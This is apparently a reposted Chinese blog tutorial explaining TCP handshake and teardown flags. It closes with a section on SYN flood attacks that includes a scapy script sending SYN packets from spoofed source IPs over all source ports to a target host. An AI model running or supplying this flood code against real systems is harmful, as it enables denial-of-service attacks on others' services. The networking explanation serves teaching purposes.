深入理解三次握手四次挥手以及使用scapy实现ddos雏形
前言
確認位ACK 只有當ACK=1時確認號字段才有效。當ACK=0時,確認號無效
TCP規定,在連接建立后所有傳送的報文段都必須把ACK置1
同步位SYN 同步SYN=1表示這是一個連接請求或者連接接收報文
當SYN=1,ACK=0時,表明這是一個連接請求報文,對方若同意建立連接,則在響應報文中使用SYN=1,ACK=1.即,SYN=1就表示這是一個連接請求或連接接收報文
終止位 FIN 用來釋放一個連接。FIN=1表面此報文段的發送方的數據已發送完畢,并要求釋放傳輸連接。
三次握手
第一步:客戶機的TCP首先向服務器的TCP發送一個連接請求報文段。這個特殊的報文段中不含應用層數據,其首部中的SYN標志位被置為1.另外,客戶機會隨機選擇一個啟始序號seq=x(連接請求報文不攜帶數據,但要消耗掉一個序號)
第二步:服務器的TCP收到連接請求報文段后,如同意建立連接,就向客戶機發回確認,并為該TCP連接分配TCP緩存和變量。在確認報文段中,SYN和ACK位都被置為1,確認號字段的值為x+1,并且服務器隨機產生起始序列號seq=y(確認報文不攜帶數據,但也要消耗掉一個序號)。確認報文段同樣不包含應用層數據
第三步:當客戶機收到確認報文段后,還要向服務器給出確認,并且也要給該連接分配緩存和變量。這個報文段的ACK標志位被置1,序號字段為x+1,確認號字段ack=y+1.該報文段可以攜帶數據,如果不攜帶數據則不消耗序號
接下來就可以接收數據了,由于TCP是全雙工通信,因此通信兩方的應用進程在任何時候都能發送數據
另外, 服務器端的資源是在完成第二次握手時分配的,而客戶端的資源是在完成第三次握手時分配的。這就使得服務器易于受到SYN泛洪攻擊
四次揮手
第一步:客戶機打算關閉連接,就向其TCP發送一個連接釋放報文段,并停止再發送數據,主動關閉TCP連接,該報文段的FIN標志位被置1,seq=u,它等于前面已傳送過的數據的最后一個字節的序號加1(FIN報文段即使不攜帶數據,也要消耗掉一個序號)。TCP是全雙工的,即可以想象成是一條TCP連接上有兩條數據通路,當發送FIN報文時,發送FIN的一端就不能再發送數據,也就是關閉了其中一條數據通路,但對方還可以發送數據
第二步:服務器收到連接釋放報文段后即發出確認,確認后是ack=u+1,而這個報文段自己的序號為v,等于它前面已傳送過的數據的最后一個字節的序號加1.此時,從客戶機到服務器這個方向的連接就釋放了,TCP連接處于半關閉狀態。但服務器若發送數據,客戶機仍要接收,即從服務器到客戶機這個方向的連接并未關閉
第三步:若服務器已經沒有要向客戶機發送的數據,就通知TCP釋放連接,此時其發出FIN=1的連接釋放報文段
第四步:客戶機收到連接釋放報文段后,必須發出確認。在確認報文段中,ACK字段被置為1,確認后為ack=w+1,序號為seq=u+1.此時TCP連接還沒有釋放掉,必須經過時間等待計時器設置的時間2MSL后,客戶機才進入到連接關閉狀態。
總結
- 連接建立
- SYN=1, seq=x
- SYN=1, ACK=1, seq=y, ack=x+1
- ACK=1, seq=x+1, ack=y+1
- 釋放連接
- FIN=1, seq=u
- ACK=1, seq=v, ack=u+1
- FIN=1, ACK=1, seq=w, ack=u+1
- ACK=1, seq=u+1, ack=w+1
SYN泛洪攻擊
SYN攻擊利用的是TCP的三次握手機制,攻擊端利用偽造的IP地址向被攻擊端發出請求,而被攻擊端發出的響應報文將永遠發送不到目的地,那么被攻擊端在等待關閉這個連接的過程中消耗了資源,如果有成千上萬的這種連接,主機資源將被耗盡,從而達到攻擊的目的。
Scapy實現ddos簡單攻擊
使用Scapy構造一個簡單的數據包看一下:
pkt = IP(dst = "192.168.0.10")
接下來我們就構造一個SYN包:
pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")
(我們構造了一個IP包和TCP包并將它們組合到一塊,這樣就有了一個完整的TCP數據包,否則是無法發送出去的,IP包中我)們指定了源IP地址src和目的IP地址dst,其中src是我們偽造的地址,flags的值設定為S說明要發送的是SYN數據包)
代碼實現
import random from scapy.all import *def synFlood(tgt,dPort):srclist = ['33.56.32.1','128.33.69.52','211.2.32.23','221.43.39.137']for sPort in range(1,65535):index = random.randint(0,3)ipLayer = IP(src = srclist[index],dst = tgt)tcoLayer = TCP(sport = sPort, dport = dPort, flags = 'S')packet1 = ipLayer/tcoLayerprint(packet1)send(packet1)synFlood('127.0.0.1',80)轉載于:https://www.cnblogs.com/alex3174/p/11379346.html
總結
以上是生活随笔為你收集整理的深入理解三次握手四次挥手以及使用scapy实现ddos雏形的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ntellijIDEA用鼠标滚轮调整代码
- 下一篇: python爬虫实例--爬取拉勾网